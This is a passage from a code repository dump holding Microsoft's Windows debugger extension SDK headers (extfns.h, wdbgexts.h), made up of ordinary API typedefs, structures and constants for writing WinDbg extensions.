PDEBUG_CLIENT4 Client,\n __in ULONG dwDataTag,\n __in PVOID pQueryInfo,\n __out_bcount(cbData) PBYTE pData,\n __in ULONG cbData\n );\n\n#endif // _EXTAPIS_H\n\n\n//\n// Function exported from ntsdexts.dll\n//\ntypedef HRESULT\n(WINAPI *EXT_GET_HANDLE_TRACE)(\n PDEBUG_CLIENT Client,\n ULONG TraceType,\n ULONG StartIndex,\n PULONG64 HandleValue,\n PULONG64 StackFunctions,\n ULONG StackTraceSize\n );\n\n\n//\n// Functions exported from exts.dll\n//\n\n//\n// GetEnvironmenttVariable - gets environment variable value from the target\n//\ntypedef HRESULT\n(WINAPI* EXT_GET_ENVIRONMENT_VARIABLE)(\n ULONG64 Peb, // Peb address where variable resides, 0 for default\n PSTR Variable, // Env Variable name\n PSTR Buffer, // Buffer to receive the value in\n ULONG BufferSize // size of buffer\n );\n\n\n\n\n /*++\n\n Structures defined that are used to pass data\n between ext.dll & wmiTrace.dll debug extensions\n \n --*/\n\n\n\ntypedef enum _TANALYZE_RETURN{\n NO_TYPE,\n PROCESS_END,\n EXIT_STATUS,\n DISK_READ_0_BYTES,\n DISK_WRITE,\n NT_STATUS_CODE,\n}TANALYZE_RETURN;\n\n\ntypedef struct _CKCL_DATA{\n PVOID NextLogEvent;\n CHAR * TAnalyzeString;\n TANALYZE_RETURN TAnalyzeReturnType;\n}CKCL_DATA, *PCKCL_DATA;\n\n\ntypedef struct _CKCL_LISTHEAD{\n PCKCL_DATA LogEventListHead;\n HANDLE Heap;\n}CKCL_LISTHEAD,*PCKCL_LISTHEAD;\n\n\n#endif // _EXTFNS_H\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/wdbgexts.h", "content": "/*++\n\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nModule Name:\n\n wdbgexts.h\n\nAbstract:\n\n This file contains the necessary prototypes and data types for a user\n to write a debugger extension DLL. This header file is also included\n by the NT debuggers (WINDBG & KD).\n\n This header file must be included after \"windows.h\" and \"dbghelp.h\".\n\n Please see the NT DDK documentation for specific information about\n how to write your own debugger extension DLL.\n\nEnvironment:\n\n Win32 only.\n\nRevision History:\n\n--*/\n\n#ifndef _WDBGEXTS_\n#define _WDBGEXTS_\n\n#if _MSC_VER > 1000\n#pragma once\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n#pragma warning(disable:4115 4201 4204 4214 4221)\n\n// Maximum value of MAXIMUM_PROCESSORS for all platforms.\n#define CROSS_PLATFORM_MAXIMUM_PROCESSORS 256\n\n#if !defined(WDBGAPI)\n#define WDBGAPI __stdcall\n#endif\n\n#if !defined(WDBGAPIV)\n#define WDBGAPIV __cdecl\n#endif\n\n#ifndef _WINDEF_\ntypedef CONST void *LPCVOID;\n#endif\n\n#ifndef _ULONGLONG_\ntypedef unsigned __int64 ULONGLONG;\ntypedef ULONGLONG *PULONGLONG;\n#endif\n\n#ifndef __specstrings\n// Should include SpecStrings.h to get proper definitions.\n#define __field_ecount_opt(x)\n#endif\n\n#define WDBGEXTS_MAXSIZE_T ((SIZE_T)~((SIZE_T)0))\n\ntypedef\nVOID\n(WDBGAPIV*PWINDBG_OUTPUT_ROUTINE)(\n PCSTR lpFormat,\n ...\n );\n\ntypedef\nULONG_PTR\n(WDBGAPI*PWINDBG_GET_EXPRESSION)(\n PCSTR lpExpression\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_GET_EXPRESSION32)(\n PCSTR lpExpression\n );\n\ntypedef\nULONG64\n(WDBGAPI*PWINDBG_GET_EXPRESSION64)(\n PCSTR lpExpression\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_GET_SYMBOL)(\n PVOID offset,\n PCHAR pchBuffer,\n ULONG_PTR *pDisplacement\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_GET_SYMBOL32)(\n ULONG offset,\n PCHAR pchBuffer,\n PULONG pDisplacement\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_GET_SYMBOL64)(\n ULONG64 offset,\n PCHAR pchBuffer,\n PULONG64 pDisplacement\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_DISASM)(\n ULONG_PTR *lpOffset,\n PCSTR lpBuffer,\n ULONG fShowEffectiveAddress\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_DISASM32)(\n ULONG *lpOffset,\n PCSTR lpBuffer,\n ULONG fShowEffectiveAddress\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_DISASM64)(\n ULONG64 *lpOffset,\n PCSTR lpBuffer,\n ULONG fShowEffectiveAddress\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_CHECK_CONTROL_C)(\n VOID\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE)(\n ULONG_PTR offset,\n PVOID lpBuffer,\n ULONG cb,\n PULONG lpcbBytesRead\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE32)(\n ULONG offset,\n PVOID lpBuffer,\n ULONG cb,\n PULONG lpcbBytesRead\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE64)(\n ULONG64 offset,\n PVOID lpBuffer,\n ULONG cb,\n PULONG lpcbBytesRead\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE)(\n ULONG_PTR offset,\n LPCVOID lpBuffer,\n ULONG cb,\n PULONG lpcbBytesWritten\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32)(\n ULONG offset,\n LPCVOID lpBuffer,\n ULONG cb,\n PULONG lpcbBytesWritten\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE64)(\n ULONG64 offset,\n LPCVOID lpBuffer,\n ULONG cb,\n PULONG lpcbBytesWritten\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_GET_THREAD_CONTEXT_ROUTINE)(\n ULONG Processor,\n PCONTEXT lpContext,\n ULONG cbSizeOfContext\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_SET_THREAD_CONTEXT_ROUTINE)(\n ULONG Processor,\n PCONTEXT lpContext,\n ULONG cbSizeOfContext\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_IOCTL_ROUTINE)(\n USHORT IoctlType,\n PVOID lpvData,\n ULONG cbSize\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_OLDKD_READ_PHYSICAL_MEMORY)(\n ULONGLONG address,\n PVOID buffer,\n ULONG count,\n PULONG bytesread\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_OLDKD_WRITE_PHYSICAL_MEMORY)(\n ULONGLONG address,\n PVOID buffer,\n ULONG length,\n PULONG byteswritten\n );\n\n\ntypedef struct _EXTSTACKTRACE {\n ULONG FramePointer;\n ULONG ProgramCounter;\n ULONG ReturnAddress;\n ULONG Args[4];\n} EXTSTACKTRACE, *PEXTSTACKTRACE;\n\ntypedef struct _EXTSTACKTRACE32 {\n ULONG FramePointer;\n ULONG ProgramCounter;\n ULONG ReturnAddress;\n ULONG Args[4];\n} EXTSTACKTRACE32, *PEXTSTACKTRACE32;\n\ntypedef struct _EXTSTACKTRACE64 {\n ULONG64 FramePointer;\n ULONG64 ProgramCounter;\n ULONG64 ReturnAddress;\n ULONG64 Args[4];\n} EXTSTACKTRACE64, *PEXTSTACKTRACE64;\n\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE)(\n ULONG FramePointer,\n ULONG StackPointer,\n ULONG ProgramCounter,\n PEXTSTACKTRACE StackFrames,\n ULONG Frames\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE32)(\n ULONG FramePointer,\n ULONG StackPointer,\n ULONG ProgramCounter,\n PEXTSTACKTRACE32 StackFrames,\n ULONG Frames\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE64)(\n ULONG64 FramePointer,\n ULONG64 StackPointer,\n ULONG64 ProgramCounter,\n PEXTSTACKTRACE64 StackFrames,\n ULONG Frames\n );\n\ntypedef struct _WINDBG_EXTENSION_APIS {\n ULONG nSize;\n PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;\n PWINDBG_GET_EXPRESSION lpGetExpressionRoutine;\n PWINDBG_GET_SYMBOL lpGetSymbolRoutine;\n PWINDBG_DISASM lpDisasmRoutine;\n PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;\n PWINDBG_READ_PROCESS_MEMORY_ROUTINE lpReadProcessMemoryRoutine;\n PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE lpWriteProcessMemoryRoutine;\n PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine;\n PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine;\n PWINDBG_IOCTL_ROUTINE lpIoctlRoutine;\n PWINDBG_STACKTRACE_ROUTINE lpStackTraceRoutine;\n} WINDBG_EXTENSION_APIS, *PWINDBG_EXTENSION_APIS;\n\ntypedef struct _WINDBG_EXTENSION_APIS32 {\n ULONG nSize;\n PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;\n PWINDBG_GET_EXPRESSION32 lpGetExpressionRoutine;\n PWINDBG_GET_SYMBOL32 lpGetSymbolRoutine;\n PWINDBG_DISASM32 lpDisasmRoutine;\n PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;\n PWINDBG_READ_PROCESS_MEMORY_ROUTINE32 lpReadProcessMemoryRoutine;\n PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32 lpWriteProcessMemoryRoutine;\n PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine;\n PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine;\n PWINDBG_IOCTL_ROUTINE lpIoctlRoutine;\n PWINDBG_STACKTRACE_ROUTINE32 lpStackTraceRoutine;\n} WINDBG_EXTENSION_APIS32, *PWINDBG_EXTENSION_APIS32;\n\ntypedef struct _WINDBG_EXTENSION_APIS64 {\n ULONG nSize;\n PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;\n PWINDBG_GET_EXPRESSION64 lpGetExpressionRoutine;\n PWINDBG_GET_SYMBOL64 lpGetSymbolRoutine;\n PWINDBG_DISASM64 lpDisasmRoutine;\n PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;\n PWINDBG_READ_PROCESS_MEMORY_ROUTINE64 lpReadProcessMemoryRoutine;\n PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE64 lpWriteProcessMemoryRoutine;\n PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine;\n PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine;\n PWINDBG_IOCTL_ROUTINE lpIoctlRoutine;\n PWINDBG_STACKTRACE_ROUTINE64 lpStackTraceRoutine;\n} WINDBG_EXTENSION_APIS64, *PWINDBG_EXTENSION_APIS64;\n\n\ntypedef struct _WINDBG_OLD_EXTENSION_APIS {\n ULONG nSize;\n PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;\n PWINDBG_GET_EXPRESSION lpGetExpressionRoutine;\n PWINDBG_GET_SYMBOL lpGetSymbolRoutine;\n PWINDBG_DISASM lpDisasmRoutine;\n PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;\n} WINDBG_OLD_EXTENSION_APIS, *PWINDBG_OLD_EXTENSION_APIS;\n\ntypedef struct _WINDBG_OLDKD_EXTENSION_APIS {\n ULONG nSize;\n PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;\n PWINDBG_GET_EXPRESSION32 lpGetExpressionRoutine;\n PWINDBG_GET_SYMBOL32 lpGetSymbolRoutine;\n PWINDBG_DISASM32 lpDisasmRoutine;\n PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;\n PWINDBG_READ_PROCESS_MEMORY_ROUTINE32 lpReadVirtualMemRoutine;\n PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32 lpWriteVirtualMemRoutine;\n PWINDBG_OLDKD_READ_PHYSICAL_MEMORY lpReadPhysicalMemRoutine;\n PWINDBG_OLDKD_WRITE_PHYSICAL_MEMORY lpWritePhysicalMemRoutine;\n} WINDBG_OLDKD_EXTENSION_APIS, *PWINDBG_OLDKD_EXTENSION_APIS;\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_OLD_EXTENSION_ROUTINE)(\n ULONG dwCurrentPc,\n PWINDBG_EXTENSION_APIS lpExtensionApis,\n PCSTR lpArgumentString\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_EXTENSION_ROUTINE)(\n HANDLE hCurrentProcess,\n HANDLE hCurrentThread,\n ULONG dwCurrentPc,\n ULONG dwProcessor,\n PCSTR lpArgumentString\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_EXTENSION_ROUTINE32)(\n HANDLE hCurrentProcess,\n HANDLE hCurrentThread,\n ULONG dwCurrentPc,\n ULONG dwProcessor,\n PCSTR lpArgumentString\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_EXTENSION_ROUTINE64)(\n HANDLE hCurrentProcess,\n HANDLE hCurrentThread,\n ULONG64 dwCurrentPc,\n ULONG dwProcessor,\n PCSTR lpArgumentString\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_OLDKD_EXTENSION_ROUTINE)(\n ULONG dwCurrentPc,\n PWINDBG_OLDKD_EXTENSION_APIS lpExtensionApis,\n PCSTR lpArgumentString\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT)(\n PWINDBG_EXTENSION_APIS lpExtensionApis,\n USHORT MajorVersion,\n USHORT MinorVersion\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT32)(\n PWINDBG_EXTENSION_APIS32 lpExtensionApis,\n USHORT MajorVersion,\n USHORT MinorVersion\n );\n\ntypedef\nVOID\n(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT64)(\n PWINDBG_EXTENSION_APIS64 lpExtensionApis,\n USHORT MajorVersion,\n USHORT MinorVersion\n );\n\ntypedef\nULONG\n(WDBGAPI*PWINDBG_CHECK_VERSION)(\n VOID\n );\n\n#define EXT_API_VERSION_NUMBER 5\n#define EXT_API_VERSION_NUMBER32 5\n#define EXT_API_VERSION_NUMBER64 6\n\ntypedef struct EXT_API_VERSION {\n USHORT MajorVersion;\n USHORT MinorVersion;\n USHORT Revision;\n USHORT Reserved;\n} EXT_API_VERSION, *LPEXT_API_VERSION;\n\ntypedef\nLPEXT_API_VERSION\n(WDBGAPI*PWINDBG_EXTENSION_API_VERSION)(\n VOID\n );\n\n#define IG_KD_CONTEXT 1\n#define IG_READ_CONTROL_SPACE 2\n#define IG_WRITE_CONTROL_SPACE 3\n#define IG_READ_IO_SPACE 4\n#define IG_WRITE_IO_SPACE 5\n#define IG_READ_PHYSICAL 6\n#define IG_WRITE_PHYSICAL 7\n#define IG_READ_IO_SPACE_EX 8\n#define IG_WRITE_IO_SPACE_EX 9\n#define IG_KSTACK_HELP 10 // obsolete\n#define IG_SET_THREAD 11\n#define IG_READ_MSR 12\n#define IG_WRITE_MSR 13\n#define IG_GET_DEBUGGER_DATA 14\n#define IG_GET_KERNEL_VERSION 15\n#define IG_RELOAD_SYMBOLS 16\n#define IG_GET_SET_SYMPATH 17\n#define IG_GET_EXCEPTION_RECORD 18\n#define IG_IS_PTR64 19\n#define IG_GET_BUS_DATA 20\n#define IG_SET_BUS_DATA 21\n#define IG_DUMP_SYMBOL_INFO 22\n#define IG_LOWMEM_CHECK 23\n#define IG_SEARCH_MEMORY 24\n#define IG_GET_CURRENT_THREAD 25\n#define IG_GET_CURRENT_PROCESS 26\n#define IG_GET_TYPE_SIZE 27\n#define IG_GET_CURRENT_PROCESS_HANDLE 28\n#define IG_GET_INPUT_LINE 29\n#define IG_GET_EXPRESSION_EX 30\n#define IG_TRANSLATE_VIRTUAL_TO_PHYSICAL 31\n#define IG_GET_CACHE_SIZE 32\n#define IG_READ_PHYSICAL_WITH_FLAGS 33\n#define IG_WRITE_PHYSICAL_WITH_FLAGS 34\n#define IG_POINTER_SEARCH_PHYSICAL 35\n#define IG_OBSOLETE_PLACEHOLDER_36 36\n#define IG_GET_THREAD_OS_INFO 37\n#define IG_GET_CLR_DATA_INTERFACE 38\n#define IG_MATCH_PATTERN_A 39\n#define IG_FIND_FILE 40\n#define IG_TYPED_DATA_OBSOLETE 41\n#define IG_QUERY_TARGET_INTERFACE 42\n#define IG_TYPED_DATA 43\n#define IG_DISASSEMBLE_BUFFER 44\n#define IG_GET_ANY_MODULE_IN_RANGE 45\n#define IG_VIRTUAL_TO_PHYSICAL 46\n#define IG_PHYSICAL_TO_VIRTUAL 47\n#define IG_GET_CONTEXT_EX 48\n\n#define IG_GET_TEB_ADDRESS 128\n#define IG_GET_PEB_ADDRESS 129\n\ntypedef struct _PROCESSORINFO {\n USHORT Processor; // current processor\n USHORT NumberProcessors; // total number of processors\n} PROCESSORINFO, *PPROCESSORINFO;\n\ntypedef struct _READCONTROLSPACE {\n USHORT Processor;\n ULONG Address;\n ULONG BufLen;\n UCHAR Buf[1];\n} READCONTROLSPACE, *PREADCONTROLSPACE;\n\ntypedef struct _READCONTROLSPACE32 {\n USHORT Processor;\n ULONG Address;\n ULONG BufLen;\n UCHAR Buf[1];\n} READCONTROLSPACE32, *PREADCONTROLSPACE32;\n\ntypedef struct _READCONTROLSPACE64 {\n USHORT Processor;\n ULONG64 Address;\n ULONG BufLen;\n UCHAR Buf[1];\n} READCONTROLSPACE64, *PREADCONTROLSPACE64;\n\ntypedef struct _IOSPACE {\n ULONG Address;\n ULONG Length; // 1, 2, or 4 bytes\n ULONG Data;\n} IOSPACE, *PIOSPACE;\n\ntypedef struct _IOSPACE32 {\n ULONG Address;\n ULONG Length; // 1, 2, or 4 bytes\n ULONG Data;\n} IOSPACE32, *PIOSPACE32;\n\ntypedef struct _IOSPACE64 {\n ULONG64 Address;\n ULONG Length; // 1, 2, or 4 bytes\n ULONG Data;\n} IOSPACE64, *PIOSPACE64;\n\ntypedef struct _IOSPACE_EX {\n ULONG Address;\n ULONG Length; // 1, 2, or 4 bytes\n ULONG Data;\n ULONG InterfaceType;\n ULONG BusNumber;\n ULONG AddressSpace;\n} IOSPACE_EX, *PIOSPACE_EX;\n\ntypedef struct _IOSPACE_EX32 {\n ULONG Address;\n ULONG Length; // 1, 2, or 4 bytes\n ULONG Data;\n ULONG InterfaceType;\n ULONG BusNumber;\n ULONG AddressSpace;\n} IOSPACE_EX32, *PIOSPACE_EX32;\n\ntypedef struct _IOSPACE_EX64 {\n ULONG64 Address;\n ULONG Length; // 1, 2, or 4 bytes\n ULONG Data;\n ULONG InterfaceType;\n ULONG BusNumber;\n ULONG AddressSpace;\n} IOSPACE_EX64, *PIOSPACE_EX64;\n\ntypedef struct _GETSETBUSDATA {\n ULONG BusDataType;\n ULONG BusNumber;\n ULONG SlotNumber;\n PVOID Buffer;\n ULONG Offset;\n ULONG Length;\n} BUSDATA, *PBUSDATA;\n\ntypedef struct _SEARCHMEMORY {\n ULONG64 SearchAddress;\n ULONG64 SearchLength;\n ULONG64 FoundAddress;\n ULONG PatternLength;\n PVOID Pattern;\n} SEARCHMEMORY, *PSEARCHMEMORY;\n\ntypedef struct _PHYSICAL {\n ULONGLONG Address;\n ULONG BufLen;\n UCHAR Buf[1];\n} PHYSICAL, *PPHYSICAL;\n\n#define PHYS_FLAG_DEFAULT 0\n#define PHYS_FLAG_CACHED 1\n#define PHYS_FLAG_UNCACHED 2\n#define PHYS_FLAG_WRITE_COMBINED 3\n\ntypedef struct _PHYSICAL_WITH_FLAGS {\n ULONGLONG Address;\n ULONG BufLen;\n ULONG Flags;\n UCHAR Buf[1];\n} PHYSICAL_WITH_FLAGS, *PPHYSICAL_WITH_FLAGS;\n\ntypedef struct _READ_WRITE_MSR {\n ULONG Msr;\n LONGLONG Value;\n} READ_WRITE_MSR, *PREAD_WRITE_MSR;\n\ntypedef struct _GET_SET_SYMPATH {\n PCSTR Args; // args to !reload command\n PSTR Result; // returns new path\n int Length; // Length of result buffer\n} GET_SET_SYMPATH, *PGET_SET_SYMPATH;\n\ntypedef struct _GET_TEB_ADDRESS {\n ULONGLONG Address;\n} GET_TEB_ADDRESS, *PGET_TEB_ADDRESS;\n\ntypedef struct _GET_PEB_ADDRESS {\n ULONG64 CurrentThread;\n ULONGLONG Address;\n} GET_PEB_ADDRESS, *PGET_PEB_ADDRESS;\n\ntypedef struct _GET_CURRENT_THREAD_ADDRESS {\n ULONG Processor;\n ULONG64 Address;\n} GET_CURRENT_THREAD_ADDRESS, *PGET_CURRENT_THREAD_ADDRESS;\n\ntypedef struct _GET_CURRENT_PROCESS_ADDRESS {\n ULONG Processor;\n ULONG64 CurrentThread;\n ULONG64 Address;\n} GET_CURRENT_PROCESS_ADDRESS, *PGET_CURRENT_PROCESS_ADDRESS;\n\ntypedef struct _GET_INPUT_LINE {\n PCSTR Prompt;\n PSTR Buffer;\n ULONG BufferSize;\n ULONG InputSize;\n} GET_INPUT_LINE, *PGET_INPUT_LINE;\n\ntypedef struct _GET_EXPRESSION_EX {\n PCSTR Expression;\n PCSTR Remainder;\n ULONG64 Value;\n} GET_EXPRESSION_EX, *PGET_EXPRESSION_EX;\n\ntypedef struct _TRANSLATE_VIRTUAL_TO_PHYSICAL {\n ULONG64 Virtual;\n ULONG64 Physical;\n} TRANSLATE_VIRTUAL_TO_PHYSICAL, *PTRANSLATE_VIRTUAL_TO_PHYSICAL;\n\ntypedef struct _VIRTUAL_TO_PHYSICAL {\n ULONG Status;\n ULONG Size;\n ULONG64 PdeAddress;\n ULONG64 Virtual;\n ULONG64 Physical;\n} VIRTUAL_TO_PHYSICAL, *PVIRTUAL_TO_PHYSICAL;\n\ntypedef struct _PHYSICAL_TO_VIRTUAL {\n ULONG Status;\n ULONG Size;\n ULONG64 PdeAddress;\n} PHYSICAL_TO_VIRTUAL, *PPHYSICAL_TO_VIRTUAL;\n\ntypedef struct _GET_CONTEXT_EX {\n ULONG Status;\n ULONG ContextSize;\n PVOID pContext;\n} GET_CONTEXT_EX, *PGET_CONTEXT_EX;\n\n#define PTR_SEARCH_PHYS_ALL_HITS 0x00000001\n#define PTR_SEARCH_PHYS_PTE 0x00000002\n#define PTR_SEARCH_PHYS_RANGE_CHECK_ONLY 0x00000004\n\n#define PTR_SEARCH_PHYS_SIZE_SHIFT 3\n#define PTR_SEARCH_PHYS_SIZE_MASK (0xf << PTR_SEARCH_PHYS_SIZE_SHIFT)\n\n#define PTR_SEARCH_NO_SYMBOL_CHECK 0x80000000\n\ntypedef struct _POINTER_SEARCH_PHYSICAL {\n IN ULONG64 Offset;\n IN ULONG64 Length;\n IN ULONG64 PointerMin;\n IN ULONG64 PointerMax;\n IN ULONG Flags;\n OUT PULONG64 MatchOffsets;\n IN ULONG MatchOffsetsSize;\n OUT ULONG MatchOffsetsCount;\n} POINTER_SEARCH_PHYSICAL, *PPOINTER_SEARCH_PHYSICAL;\n\ntypedef struct _WDBGEXTS_THREAD_OS_INFO {\n // System thread ID input.\n ULONG ThreadId;\n\n //\n // Output information.\n //\n\n // Exit status is STILL_ACTIVE by default.\n ULONG ExitStatus;\n // Priority class is zero if not known.\n ULONG PriorityClass;\n // Priority defaults to normal.\n ULONG Priority;\n // Times can be zero if not known.\n ULONG64 CreateTime;\n ULONG64 ExitTime;\n ULONG64 KernelTime;\n ULONG64 UserTime;\n // Start offset is zero if not known.\n ULONG64 StartOffset;\n // Affinity is zero if not known.\n ULONG64 Affinity;\n} WDBGEXTS_THREAD_OS_INFO, *PWDBGEXTS_THREAD_OS_INFO;\n\ntypedef struct _WDBGEXTS_CLR_DATA_INTERFACE {\n // Interface requested.\n const IID* Iid;\n // Interface pointer return.\n PVOID Iface;\n} WDBGEXTS_CLR_DATA_INTERFACE, *PWDBGEXTS_CLR_DATA_INTERFACE;\n\ntypedef struct _EXT_MATCH_PATTERN_A {\n IN PCSTR Str;\n IN PCSTR Pattern;\n IN ULONG CaseSensitive;\n} EXT_MATCH_PATTERN_A, *PEXT_MATCH_PATTERN_A;\n\n#define EXT_FIND_FILE_ALLOW_GIVEN_PATH 0x00000001\n\ntypedef struct _EXT_FIND_FILE {\n IN PCWSTR FileName;\n IN ULONG64 IndexedSize;\n IN ULONG ImageTimeDateStamp;\n // Pass zero to ignore.\n IN ULONG ImageCheckSum;\n IN OPTIONAL PVOID ExtraInfo;\n IN ULONG ExtraInfoSize;\n IN ULONG Flags;\n // Free with UnmapViewOfFile.\n OUT PVOID FileMapping;\n OUT ULONG64 FileMappingSize;\n // Free with CloseHandle.\n OUT HANDLE FileHandle;\n // Must be at least MAX_PATH characters if set.\n OUT OPTIONAL PWSTR FoundFileName;\n OUT ULONG FoundFileNameChars;\n} EXT_FIND_FILE, *PEXT_FIND_FILE;\n\n#define DEBUG_TYPED_DATA_IS_IN_MEMORY 0x00000001\n#define DEBUG_TYPED_DATA_PHYSICAL_DEFAULT 0x00000002\n#define DEBUG_TYPED_DATA_PHYSICAL_CACHED 0x00000004\n#define DEBUG_TYPED_DATA_PHYSICAL_UNCACHED 0x00000006\n#define DEBUG_TYPED_DATA_PHYSICAL_WRITE_COMBINED 0x00000008\n\n// Mask for all physical flags.\n#define DEBUG_TYPED_DATA_PHYSICAL_MEMORY 0x0000000e\n\ntypedef struct _DEBUG_TYPED_DATA\n{\n ULONG64 ModBase;\n ULONG64 Offset;\n ULONG64 EngineHandle;\n ULONG64 Data;\n ULONG Size;\n ULONG Flags;\n ULONG TypeId;\n ULONG BaseTypeId;\n ULONG Tag;\n ULONG Register;\n ULONG64 Internal[9];\n} DEBUG_TYPED_DATA, *PDEBUG_TYPED_DATA;\n\ntypedef enum _EXT_TDOP {\n EXT_TDOP_COPY,\n EXT_TDOP_RELEASE,\n EXT_TDOP_SET_FROM_EXPR,\n EXT_TDOP_SET_FROM_U64_EXPR,\n EXT_TDOP_GET_FIELD,\n EXT_TDOP_EVALUATE,\n EXT_TDOP_GET_TYPE_NAME,\n EXT_TDOP_OUTPUT_TYPE_NAME,\n EXT_TDOP_OUTPUT_SIMPLE_VALUE,\n EXT_TDOP_OUTPUT_FULL_VALUE,\n EXT_TDOP_HAS_FIELD,\n EXT_TDOP_GET_FIELD_OFFSET,\n EXT_TDOP_GET_ARRAY_ELEMENT,\n EXT_TDOP_GET_DEREFERENCE,\n EXT_TDOP_GET_TYPE_SIZE,\n EXT_TDOP_OUTPUT_TYPE_DEFINITION,\n EXT_TDOP_GET_POINTER_TO,\n EXT_TDOP_SET_FROM_TYPE_ID_AND_U64,\n EXT_TDOP_SET_PTR_FROM_TYPE_ID_AND_U64,\n\n EXT_TDOP_COUNT\n} EXT_TDOP;\n\n// EXT_TDF physical flags must match DEBUG_TYPED.\n#define EXT_TDF_PHYSICAL_DEFAULT 0x00000002\n#define EXT_TDF_PHYSICAL_CACHED 0x00000004\n#define EXT_TDF_PHYSICAL_UNCACHED 0x00000006\n#define EXT_TDF_PHYSICAL_WRITE_COMBINED 0x00000008\n#define EXT_TDF_PHYSICAL_MEMORY 0x0000000e\n\n// NOTE: Every DEBUG_TYPED_DATA should be released\n// via EXT_TDOP_RELEASE when it is no longer needed.\ntypedef struct _EXT_TYPED_DATA {\n IN EXT_TDOP Operation;\n IN ULONG Flags;\n IN DEBUG_TYPED_DATA InData;\n OUT DEBUG_TYPED_DATA OutData;\n IN ULONG InStrIndex;\n IN ULONG In32;\n OUT ULONG Out32;\n IN ULONG64 In64;\n OUT ULONG64 Out64;\n OUT ULONG StrBufferIndex;\n IN ULONG StrBufferChars;\n OUT ULONG StrCharsNeeded;\n IN OUT ULONG DataBufferIndex;\n IN ULONG DataBufferBytes;\n OUT ULONG DataBytesNeeded;\n OUT HRESULT Status;\n // Must be zeroed.\n ULONG64 Reserved[8];\n} EXT_TYPED_DATA, *PEXT_TYPED_DATA;\n\ntypedef struct _WDBGEXTS_QUERY_INTERFACE {\n // Interface requested.\n const IID* Iid;\n // Interface pointer return.\n PVOID Iface;\n} WDBGEXTS_QUERY_INTERFACE, *PWDBGEXTS_QUERY_INTERFACE;\n\n#define WDBGEXTS_ADDRESS_DEFAULT 0x00000000\n#define WDBGEXTS_ADDRESS_SEG16 0x00000001\n#define WDBGEXTS_ADDRESS_SEG32 0x00000002\n#define WDBGEXTS_ADDRESS_RESERVED0 0x80000000\n \ntypedef struct _WDBGEXTS_DISASSEMBLE_BUFFER {\n IN ULONG64 InOffset;\n OUT ULONG64 OutOffset;\n // AddrFlags are from above.\n IN ULONG AddrFlags;\n // FormatFlags are from dbgeng's DEBUG_DISASM_*.\n IN ULONG FormatFlags;\n IN ULONG DataBufferBytes;\n IN ULONG DisasmBufferChars;\n IN OPTIONAL PVOID DataBuffer;\n OUT PWSTR DisasmBuffer;\n IN ULONG64 Reserved0[3];\n} WDBGEXTS_DISASSEMBLE_BUFFER, *PWDBGEXTS_DISASSEMBLE_BUFFER;\n\ntypedef struct _WDBGEXTS_MODULE_IN_RANGE {\n IN ULONG64 Start;\n // Inclusive ending offset.\n IN ULONG64 End;\n OUT ULONG64 FoundModBase;\n OUT ULONG FoundModSize;\n} 